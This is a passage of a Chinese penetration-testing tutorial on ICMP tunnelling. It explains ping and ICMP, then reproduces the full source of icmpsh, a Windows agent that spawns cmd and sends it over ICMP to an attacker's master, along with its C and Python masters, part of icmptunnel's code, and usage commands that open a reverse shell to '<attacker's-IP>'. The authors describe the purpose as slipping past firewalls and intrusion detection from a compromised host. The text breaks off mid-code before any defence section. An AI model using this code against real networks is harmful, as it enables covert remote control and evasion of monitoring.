目录

  • 前言
  • 一、ICMP隧道技术
    • 1、ICMP协议
      • (1)报文格式
      • (2)ping
    • 2、ICMP隧道
      • (1)原理
      • (2)优缺点
  • 二、ICMP隧道工具
    • 1、icmpsh
      • (1)源码
      • (2)用法
    • 2、icmptunnel
      • (1)源码
      • (2)用法
    • 3、pingtunnel
      • (1)源码
      • (2)用法
    • 4、简单DIY
  • 三、ICMP隧道应用
    • 1、icmpsh
      • (1)环境
      • (2)实践
    • 2、icmptunnel
      • (1)环境
      • (2)实践
    • 3、pingtunnel
      • (1)环境
      • (2)实践
  • 四、检测和防御
    • 1、数据包的总数
    • 2、payload内容
    • 3、数据包过大
    • 4、检查ICMP数据包的协议标签
    • 5、检查type
  • 结语

前言

最近开始研究隧道相关,如前做了个整理——内网渗透系列:内网穿透(隧道)学习,本篇专门来学习ICMP隧道

一、ICMP隧道技术

1、ICMP协议

ICMP(Internet Control Message Protocol),即Internet控制报文协议,是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

主要的几点:

  • 确认IP数据包是否成功到达目的地

  • 通知源主机发送IP数据包丢失的原因

  • ICMP是基于IP协议工作的

  • ICMP只能作用于IPV4,IPV6下,使用ICMPv6

(1)报文格式

报文格式如下:

其中type和code是关键:

(2)ping

ping 命令用来在IP 层次上调查与指定机器是否连通,调查数据包往复需要多少时间

内容:

  • Windows系统默认传输32 bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi,ping包的大小是可以改变的,但是内容依旧不变,且请求和相应内容相同

  • Linux系统默认传输48 bytes的数据,头信息比较复杂,但是末尾内容是固定!”#$%&’()+,-./01234567

过程:ping 命令使用了两个ICMP 报文

1、向目标服务器发送回送请求

首先,向目标服务器发出回送请求(类型是8,代码是0)报文(同2)。在这个回送请求报文里,除了类型和代码字段,还被追加了标识符和序号字段。标识符和序号字段分别是16 位的字段。ping 命令在发送回送请求报文时,在这两个字段里填入任意的值。对于标识符,应用程序执行期间送出的所有报文里填入相同的值。对于序号,每送出一个报文数值就增加1。而且,回送请求的选项数据部分用来装任意数据。这个任意数据用来调整ping 的交流数据包的大小。

2、鹦鹉学舌一样返回回送回答

计算机送出的回送请求到达目标服务器后,服务器回答这一请求,向送信方发送回送请求(类型是0,代码是0)(同3)。这个ICMP 回送回答报文在IP 层来看,与被送来的回送请求报文基本上一样。不同的只是,源和目标IP 地址字段被交换了,类型字段里填入了表示回送回答的0。也就是,从送信方来看,自己送出的ICMP 报文从目标服务器那里象鹦鹉学舌那样原样返回了。

送信方的计算机可以通过收到回送回答报文,来确认目标服务器在工作着。进一步,记住发送回送请求报文的时间,与接收到回送回答报文的时间一比较,就能计算出报文一去一回往复所需要的时间(同4)。但是,收到的回送回答报文里写的只是类型和代码的话,发送方计算机将无法判断它是否是自己发出去请求的回答。因此,前面说到的标识符和序号字段就有它的意义了。将这两个值与回送回答报文中的相同字段值一比较,送行方计算机就能够简单地检测回送回答是否正确了。执行ping 命令而调查的结果没什么问题的话,就将目标服务器的IP 地址,数据大小,往复花费的时间打印到屏幕上。

用 ping 命令不能确定与对方连通的原因:

  • 目标服务器不存在
  • 花在数据包交流上的时间太长,ping 命令认为超时
  • 目标服务器不回答ping 命令

2、ICMP隧道

(1)原理

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性

通常ICMP隧道技术采用ICMP的ICMP_ECHOICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据

进行隐蔽传输的时候,肉鸡(防火墙内部)运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY数据包中,发送给外部攻击端


简单的说就是,利用ICMP的请求和应答数据包,伪造Ping命令的数据包形式,实现绕过防火墙和入侵检测系统的阻拦

(2)优缺点

优点:

  • 防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高

缺点:

  • ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

  • 利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限

二、ICMP隧道工具

1、icmpsh

github:https://github.com/bdamele/icmpsh

最后更新于2013年,受控端(客户端)使用C语言实现,只能运行在目标Windows机器上;而主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。能通过ICMP协议反弹cmd,不用管理员权限,但反弹回来的cmd极不稳定,不推荐使用

(1)源码

受控端C语言

/**   icmpsh - simple icmp command shell*   Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>*   This program is free software: you can redistribute it and/or modify*   it under the terms of the GNU General Public License as published by*   the Free Software Foundation, either version 3 of the License, or*   (at your option) any later version.**    This program is distributed in the hope that it will be useful,*    but WITHOUT ANY WARRANTY; without even the implied warranty of*    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the*    GNU General Public License for more details.**    You should have received a copy of the GNU General Public License*    along with this program.  If not, see <http://www.gnu.org/licenses/>.*/#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <winsock2.h>
#include <iphlpapi.h>#define ICMP_HEADERS_SIZE    (sizeof(ICMP_ECHO_REPLY) + 8)#define STATUS_OK                 0
#define STATUS_SINGLE               1
#define STATUS_PROCESS_NOT_CREATED  2#define TRANSFER_SUCCESS           1
#define TRANSFER_FAILURE            0#define DEFAULT_TIMEOUT                3000
#define DEFAULT_DELAY               200
#define DEFAULT_MAX_BLANKS          10
#define DEFAULT_MAX_DATA_SIZE       64FARPROC icmp_create, icmp_send, to_ip;int verbose = 0;int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{SECURITY_ATTRIBUTES sattr;STARTUPINFOA si;HANDLE in_read, out_write;memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));memset(pi, 0x00, sizeof(PROCESS_INFORMATION));// create communication pipes  memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));sattr.nLength = sizeof(SECURITY_ATTRIBUTES); sattr.bInheritHandle = TRUE; sattr.lpSecurityDescriptor = NULL; if (!CreatePipe(out_read, &out_write, &sattr, 0)) {return STATUS_PROCESS_NOT_CREATED;}if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {return STATUS_PROCESS_NOT_CREATED;}if (!CreatePipe(&in_read, in_write, &sattr, 0)) {return STATUS_PROCESS_NOT_CREATED;}if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {return STATUS_PROCESS_NOT_CREATED;}// spawn processmemset(&si, 0x00, sizeof(STARTUPINFO));si.cb = sizeof(STARTUPINFO); si.hStdError = out_write;si.hStdOutput = out_write;si.hStdInput = in_read;si.dwFlags |= STARTF_USESTDHANDLES;if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {return STATUS_PROCESS_NOT_CREATED;}CloseHandle(out_write);CloseHandle(in_read);return STATUS_OK;
}void usage(char *path)
{printf("%s [options] -t target\n", path);printf("options:\n");printf("  -t host            host ip address to send ping requests to\n");printf("  -r                 send a single test icmp request and then quit\n");printf("  -d milliseconds    delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);printf("  -o milliseconds    timeout in milliseconds\n");printf("  -h                 this screen\n");printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");printf("                     before quitting\n");printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);printf("In order to improve the speed, lower the delay (-d) between requests or\n");printf("increase the size (-s) of the data buffer\n");
}void create_icmp_channel(HANDLE *icmp_chan)
{// create icmp file*icmp_chan = (HANDLE) icmp_create();
}int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{int rs;char *temp_in_buf;int nbytes;PICMP_ECHO_REPLY echo_reply;temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);if (!temp_in_buf) {return TRANSFER_FAILURE;}// send data to remote hostrs = icmp_send(icmp_chan,target,out_buf,out_buf_size,NULL,temp_in_buf,max_in_data_size + ICMP_HEADERS_SIZE,timeout);// check received dataif (rs > 0) {echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;if (echo_reply->DataSize > max_in_data_size) {nbytes = max_in_data_size;} else {nbytes = echo_reply->DataSize;}memcpy(in_buf, echo_reply->Data, nbytes);*in_buf_size = nbytes;free(temp_in_buf);return TRANSFER_SUCCESS;}free(temp_in_buf);return TRANSFER_FAILURE;
}int load_deps()
{HMODULE lib;lib = LoadLibraryA("ws2_32.dll");if (lib != NULL) {to_ip = GetProcAddress(lib, "inet_addr");if (!to_ip) {   return 0;}}lib = LoadLibraryA("iphlpapi.dll");if (lib != NULL) {icmp_create = GetProcAddress(lib, "IcmpCreateFile");icmp_send = GetProcAddress(lib, "IcmpSendEcho");if (icmp_create && icmp_send) {return 1;}} lib = LoadLibraryA("ICMP.DLL");if (lib != NULL) {icmp_create = GetProcAddress(lib, "IcmpCreateFile");icmp_send = GetProcAddress(lib, "IcmpSendEcho");if (icmp_create && icmp_send) {return 1;}}printf("failed to load functions (%u)", GetLastError());return 0;
}
int main(int argc, char **argv)
{int opt;char *target;unsigned int delay, timeout;unsigned int ip_addr;HANDLE pipe_read, pipe_write;HANDLE icmp_chan;unsigned char *in_buf, *out_buf;unsigned int in_buf_size, out_buf_size;DWORD rs;int blanks, max_blanks;PROCESS_INFORMATION pi;int status;unsigned int max_data_size;struct hostent *he;// set defaultstarget = 0;timeout = DEFAULT_TIMEOUT;delay = DEFAULT_DELAY;max_blanks = DEFAULT_MAX_BLANKS;max_data_size = DEFAULT_MAX_DATA_SIZE;status = STATUS_OK;if (!load_deps()) {printf("failed to load ICMP library\n");return -1;}// parse command line optionsfor (opt = 1; opt < argc; opt++) {if (argv[opt][0] == '-') {switch(argv[opt][1]) {case 'h':usage(*argv);return 0;case 't':if (opt + 1 < argc) {target = argv[opt + 1];}break;case 'd':if (opt + 1 < argc) {delay = atol(argv[opt + 1]);}break;case 'o':if (opt + 1 < argc) {timeout = atol(argv[opt + 1]);}break;case 'r':status = STATUS_SINGLE;break;case 'b':if (opt + 1 < argc) {max_blanks = atol(argv[opt + 1]);}break;case 's':if (opt + 1 < argc) {max_data_size = atol(argv[opt + 1]);}break;default:printf("unrecognized option -%c\n", argv[1][0]);usage(*argv);return -1;}}}if (!target) {printf("you need to specify a host with -t. Try -h for more options\n");return -1;}ip_addr = to_ip(target);// don't spawn a shell if we're only sending a single test requestif (status != STATUS_SINGLE) {status = spawn_shell(&pi, &pipe_read, &pipe_write);}// create icmp channelcreate_icmp_channel(&icmp_chan);if (icmp_chan == INVALID_HANDLE_VALUE) {printf("unable to create ICMP file: %u\n", GetLastError());return -1;}// allocate transfer buffersin_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);if (!in_buf || !out_buf) {printf("failed to allocate memory for transfer buffers\n");return -1;}memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);// sending/receiving loopblanks = 0;do {switch(status) {case STATUS_SINGLE:// reply with a static stringout_buf_size = sprintf(out_buf, "Test1234\n");break;case STATUS_PROCESS_NOT_CREATED:// reply with error messageout_buf_size = sprintf(out_buf, "Process was not created\n");break;default:// read data from process via pipeout_buf_size = 0;if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {if (out_buf_size > 0) {out_buf_size = 0;rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);if (!rs && GetLastError() != ERROR_IO_PENDING) {out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());} }} else {out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());}break;}// send request/receive responseif (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {if (status == STATUS_OK) {// write data from response back into pipeWriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);}blanks = 0;} else {// no reply received or error occuredblanks++;}// wait between requestsSleep(delay);} while (status == STATUS_OK && blanks < max_blanks);if (status == STATUS_OK) {TerminateProcess(pi.hProcess, 0);}return 0;
}

主控端
C语言

/**   icmpsh - simple icmp command shell*   Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>*   This program is free software: you can redistribute it and/or modify*   it under the terms of the GNU General Public License as published by*   the Free Software Foundation, either version 3 of the License, or*   (at your option) any later version.**    This program is distributed in the hope that it will be useful,*    but WITHOUT ANY WARRANTY; without even the implied warranty of*    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the*    GNU General Public License for more details.**    You should have received a copy of the GNU General Public License*    along with this program.  If not, see <http://www.gnu.org/licenses/>.*/#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>#define IN_BUF_SIZE   1024
#define OUT_BUF_SIZE  64// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
{unsigned long sum;unsigned short oddbyte, rs;sum = 0;while(nbytes > 1) {sum += *ptr++;nbytes -= 2;}if(nbytes == 1) {oddbyte = 0;*((unsigned char *) &oddbyte) = *(u_char *)ptr;sum += oddbyte;}sum  = (sum >> 16) + (sum & 0xffff);sum += (sum >> 16);rs = ~sum;return rs;
}int main(int argc, char **argv)
{int sockfd;int flags;char in_buf[IN_BUF_SIZE];char out_buf[OUT_BUF_SIZE];unsigned int out_size;int nbytes;struct iphdr *ip;struct icmphdr *icmp;char *data;struct sockaddr_in addr;printf("icmpsh - master\n");// create raw ICMP socketsockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);if (sockfd == -1) {perror("socket");return -1;}// set stdin to non-blockingflags = fcntl(0, F_GETFL, 0);flags |= O_NONBLOCK;fcntl(0, F_SETFL, flags);printf("running...\n");while(1) {// read data from socketmemset(in_buf, 0x00, IN_BUF_SIZE);nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);if (nbytes > 0) {// get ip and icmp header and data partip = (struct iphdr *) in_buf;if (nbytes > sizeof(struct iphdr)) {nbytes -= sizeof(struct iphdr);icmp = (struct icmphdr *) (ip + 1);if (nbytes > sizeof(struct icmphdr)) {nbytes -= sizeof(struct icmphdr);data = (char *) (icmp + 1);data[nbytes] = '\0';printf("%s", data);fflush(stdout);}// reuse headersicmp->type = 0;addr.sin_family = AF_INET;addr.sin_addr.s_addr = ip->saddr;// read data from stdinnbytes = read(0, out_buf, OUT_BUF_SIZE);if (nbytes > -1) {memcpy((char *) (icmp + 1), out_buf, nbytes);out_size = nbytes;} else {out_size = 0;}icmp->checksum = 0x00;icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);// send replynbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));if (nbytes == -1) {perror("sendto");return -1;}        }}}return 0;
}

Python版

#!/usr/bin/env python
#
#  icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
#  Perl by Nico Leidecker <nico@leidecker.info>)
#
#  Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#
#  This program is free software: you can redistribute it and/or modify
#  it under the terms of the GNU General Public License as published by
#  the Free Software Foundation, either version 3 of the License, or
#  (at your option) any later version.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with this program.  If not, see <http://www.gnu.org/licenses/>.import os
import select
import socket
import subprocess
import sysdef setNonBlocking(fd):"""Make a file descriptor non-blocking"""import fcntlflags = fcntl.fcntl(fd, fcntl.F_GETFL)flags = flags | os.O_NONBLOCKfcntl.fcntl(fd, fcntl.F_SETFL, flags)def main(src, dst):if subprocess.mswindows:sys.stderr.write('icmpsh master can only run on Posix systems\n')sys.exit(255)try:from impacket import ImpactDecoderfrom impacket import ImpactPacketexcept ImportError:sys.stderr.write('You need to install Python Impacket library first\n')sys.exit(255)# Make standard input a non-blocking filestdin_fd = sys.stdin.fileno()setNonBlocking(stdin_fd)# Open one socket for ICMP protocol# A special option is set on the socket so that IP headers are included# with the returned datatry:sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)except socket.error, e:sys.stderr.write('You need to run icmpsh master with administrator privileges\n')sys.exit(1)sock.setblocking(0)sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)# Create a new IP packet and set its source and destination addressesip = ImpactPacket.IP()ip.set_ip_src(src)ip.set_ip_dst(dst)# Create a new ICMP packet of type ECHO REPLYicmp = ImpactPacket.ICMP()icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)# Instantiate an IP packets decoderdecoder = ImpactDecoder.IPDecoder()while 1:cmd = ''# Wait for incoming repliesif sock in select.select([ sock ], [], [])[0]:buff = sock.recv(4096)if 0 == len(buff):# Socket remotely closedsock.close()sys.exit(0)# Packet received; decode and display itippacket = decoder.decode(buff)icmppacket = ippacket.child()# If the packet matches, report it to the userif ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():# Get identifier and sequence numberident = icmppacket.get_icmp_id()seq_id = icmppacket.get_icmp_seq()data = icmppacket.get_data_as_string()if len(data) > 0:sys.stdout.write(data)# Parse command from standard inputtry:cmd = sys.stdin.readline()except:passif cmd == 'exit\n':return# Set sequence number and identifiericmp.set_icmp_id(ident)icmp.set_icmp_seq(seq_id)# Include the command as data inside the ICMP packeticmp.contains(ImpactPacket.Data(cmd))# Calculate its checksumicmp.set_icmp_cksum(0)icmp.auto_checksum = 1# Have the IP packet contain the ICMP packet (along with its payload)ip.contains(icmp)# Send it to the target hostsock.sendto(ip.get_packet(), (dst, 0))if __name__ == '__main__':if len(sys.argv) < 3:msg = 'missing mandatory options. Execute as root:\n'msg += './icmpsh-m.py <source IP address> <destination IP address>\n'sys.stderr.write(msg)sys.exit(1)main(sys.argv[1], sys.argv[2])

(2)用法

  • 安装

    git clone https://github.com/inquisb/icmpsh.git
    
  • 关闭ping回复,防止内核自己对ping包进行响应。
    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    
  • 攻击端执行
    python icmpsh_m.py <attacker's-IP> <target-IP>
    
  • 服务端执行
    icmpsh.exe -t <attacker's-IP>
    

2、icmptunnel

github:https://github.com/DhavalKapil/icmptunnel

最后更新于2017年,创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用

(1)源码

icmp.h

/***  icmp.h*/#ifndef icmp_guard
#define icmp_guard// Maximum transmission unit
#define MTU 1472struct icmp_packet
{char src_addr[100];char dest_addr[100];int type;char *payload;int payload_size;
};/*** Function to set packet type as ECHO*/
void set_echo_type(struct icmp_packet *packet);/*** Function to set packet type as REPLY*/
void set_reply_type(struct icmp_packet *packet);/*** Function to open a socket for icmp*/
int open_icmp_socket();/*** Function to bind the socket to INADDR_ANY*/
void bind_icmp_socket(int sock_fd);/*** Function to send ICMP Packet*/
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details);/*** Function to receive ICMP Packet*/
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details);/*** Function to close the icmp socket*/
void close_icmp_socket(int sock_fd);#endif

icmp.c

/***  icmp.c*/#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>/*** Function to calculate checksum*/
uint16_t in_cksum(uint16_t *addr, int len);/*** Function to fill up common headers for IP and ICMP*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);/*** Function to set packet type as ECHO*/
void set_echo_type(struct icmp_packet *packet)
{packet->type = ICMP_ECHO;
}/*** Function to set packet type as REPLY*/
void set_reply_type(struct icmp_packet *packet)
{packet->type = ICMP_ECHOREPLY;
}/*** Function to open a socket for icmp*/
int open_icmp_socket()
{int sock_fd, on = 1;sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);if (sock_fd == -1) {perror("Unable to open ICMP socket\n");exit(EXIT_FAILURE);}// Providing IP Headersif (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {perror("Unable to set IP_HDRINCL socket option\n");exit(EXIT_FAILURE);}return sock_fd;
}/*** Function to bind the socket to INADDR_ANY*/
void bind_icmp_socket(int sock_fd)
{struct sockaddr_in servaddr;// Initializing servaddr to bind to all interfacesmemset(&servaddr, 0, sizeof(struct sockaddr_in));servaddr.sin_family = AF_INET;servaddr.sin_addr.s_addr = htonl(INADDR_ANY);// binding the socketif (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1) {perror("Unable to bind\n");exit(EXIT_FAILURE);}
}/*** Function to send ICMP Packet*/
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{// Source and destination IPsstruct in_addr src_addr;struct in_addr dest_addr;struct iphdr *ip;struct icmphdr *icmp;char *icmp_payload;int packet_size;char *packet;struct sockaddr_in servaddr;inet_pton(AF_INET, packet_details->src_addr, &src_addr);inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;packet = calloc(packet_size, sizeof(uint8_t));if (packet == NULL) {perror("No memory available\n");close_icmp_socket(sock_fd);exit(EXIT_FAILURE);}// Initializing header and payload pointersip = (struct iphdr *)packet;icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));prepare_headers(ip, icmp);ip->tot_len = htons(packet_size);ip->saddr = src_addr.s_addr;ip->daddr = dest_addr.s_addr;memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);icmp->type = packet_details->type;icmp->checksum = 0;icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);memset(&servaddr, 0, sizeof(struct sockaddr_in));servaddr.sin_family = AF_INET;servaddr.sin_addr.s_addr = dest_addr.s_addr;// Sending the packetsendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));free(packet);
}/*** Function to receive an ICMP packet*/
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{struct sockaddr_in src_addr;//struct sockaddr_in dest_addr;struct iphdr *ip;struct icmphdr *icmp;char *icmp_payload;int packet_size;char *packet;socklen_t src_addr_size;int enc_MTU; //encapsulated MTUenc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);packet = calloc(enc_MTU, sizeof(uint8_t));if (packet == NULL) {perror("No memory available\n");close_icmp_socket(sock_fd);exit(-1);}src_addr_size = sizeof(struct sockaddr_in);// Receiving packetpacket_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);ip = (struct iphdr *)packet;icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));// Filling up packet_detailsinet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);packet_details->type = icmp->type;packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));if (packet_details->payload == NULL) {perror("No memory available\n");close_icmp_socket(sock_fd);exit(-1);}memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);free(packet);
}/*** Function to close the icmp socket*/
void close_icmp_socket(int sock_fd)
{close(sock_fd);
}/*** Function to calculate checksum*/
uint16_t in_cksum(uint16_t *addr, int len)
{int nleft = len;uint32_t sum = 0;uint16_t *w = addr;uint16_t answer = 0;// Adding 16 bits sequentially in sumwhile (nleft > 1) {sum += *w;nleft -= 2;w++;}// If an odd byte is leftif (nleft == 1) {*(unsigned char *) (&answer) = *(unsigned char *) w;sum += answer;}sum = (sum >> 16) + (sum & 0xffff);sum += (sum >> 16);answer = ~sum;return answer;
}/*** Function to fill up common headers for IP and ICMP*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
{ip->version = 4;ip->ihl = 5;ip->tos = 0;ip->id = rand();ip->frag_off = 0;ip->ttl = 255;ip->protocol = IPPROTO_ICMP;icmp->code = 0;icmp->un.echo.sequence = rand();icmp->un.echo.id = rand();icmp->checksum = 0;
}

tunnel.h

/***  tunnel.h*/#ifndef tunnel_gaurd
#define tunnel_gaurd#define SERVER_SCRIPT "server.sh"
#define CLIENT_SCRIPT "client.sh"/*** Function to allocate a tunnel*/
int tun_alloc(char *dev, int flags);/*** Function to read from a tunnel*/
int tun_read(int tun_fd, char *buffer, int length);/*** Function to write to a tunnel*/
int tun_write(int tun_fd, char *buffer, int length);/*** Function to run the tunnel*/
void run_tunnel(char *dest, int server);#endif

client.sh

#!/bin/sh# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.2 netmask 255.255.255.0# Modifying IP routing tables
route del default
# 'server' is the IP address of the proxy server
# 'gateway' and 'interface' can be obtained by usint the command: 'route -n'
route add -host <server> gw <gateway> dev <interface>
route add default gw 10.0.1.1 tun0

server.sh

#!/bin/sh# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.1 netmask 255.255.255.0 # Preventing the kernel to reply to any ICMP pings
echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all# Enabling IP forwarding
echo 1 | dd of=/proc/sys/net/ipv4/ip_forward# Adding an iptables rule to masquerade for 10.0.0.0/8
iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE

tunnel.c

/***  tunnel.c*/#include "icmp.h"
#include "tunnel.h"#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>#define DEFAULT_ROUTE   "0.0.0.0"/*** Function to allocate a tunnel*/
int tun_alloc(char *dev, int flags)
{struct ifreq ifr;int tun_fd, err;char *clonedev = "/dev/net/tun";printf("[DEBUG] Allocating tunnel\n");tun_fd = open(clonedev, O_RDWR);if(tun_fd == -1) {perror("Unable to open clone device\n");exit(EXIT_FAILURE);}memset(&ifr, 0, sizeof(ifr));ifr.ifr_flags = flags;if (*dev) {strncpy(ifr.ifr_name, dev, IFNAMSIZ);}if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) {close(tun_fd);fprintf(stderr, "Error returned by ioctl(): %s\n", strerror(err));perror("Error in tun_alloc()\n");exit(EXIT_FAILURE);}printf("[DEBUG] Allocatating tunnel2");printf("[DEBUG] Created tunnel %s\n", dev);return tun_fd;
}/*** Function to read from a tunnel*/
int tun_read(int tun_fd, char *buffer, int length)
{int bytes_read;printf("[DEBUG] Reading from tunnel\n");bytes_read = read(tun_fd, buffer, length);if (bytes_read == -1) {perror("Unable to read from tunnel\n");exit(EXIT_FAILURE);}else {return bytes_read;}
}/*** Function to write to a tunnel*/
int tun_write(int tun_fd, char *buffer, int length)
{int bytes_written;printf("[DEBUG] Writing to tunnel\n");bytes_written = write(tun_fd, buffer, length);if (bytes_written == -1) {perror("Unable to write to tunnel\n");exit(EXIT_FAILURE);}else {return bytes_written;}
}/*** Function to configure the network*/
void configure_network(int server)
{int pid, status;char path[100];char *const args[] = {path, NULL};if (server) {if (sizeof(SERVER_SCRIPT) > sizeof(path)){perror("Server script path is too long\n");exit(EXIT_FAILURE);}strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1);}else {if (sizeof(CLIENT_SCRIPT) > sizeof(path)){perror("Client script path is too long\n");exit(EXIT_FAILURE);}strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1);}pid = fork();if (pid == -1) {perror("Unable to fork\n");exit(EXIT_FAILURE);}if (pid==0) {// Child process, run the scriptexit(execv(path, args));}else {// Parent processwaitpid(pid, &status, 0);if (WEXITSTATUS(status) == 0) {// Script executed correctlyprintf("[DEBUG] Script ran successfully\n");}else {// Some errorprintf("[DEBUG] Error in running script\n");}}
}/*** Function to run the tunnel*/
void run_tunnel(char *dest, int server)
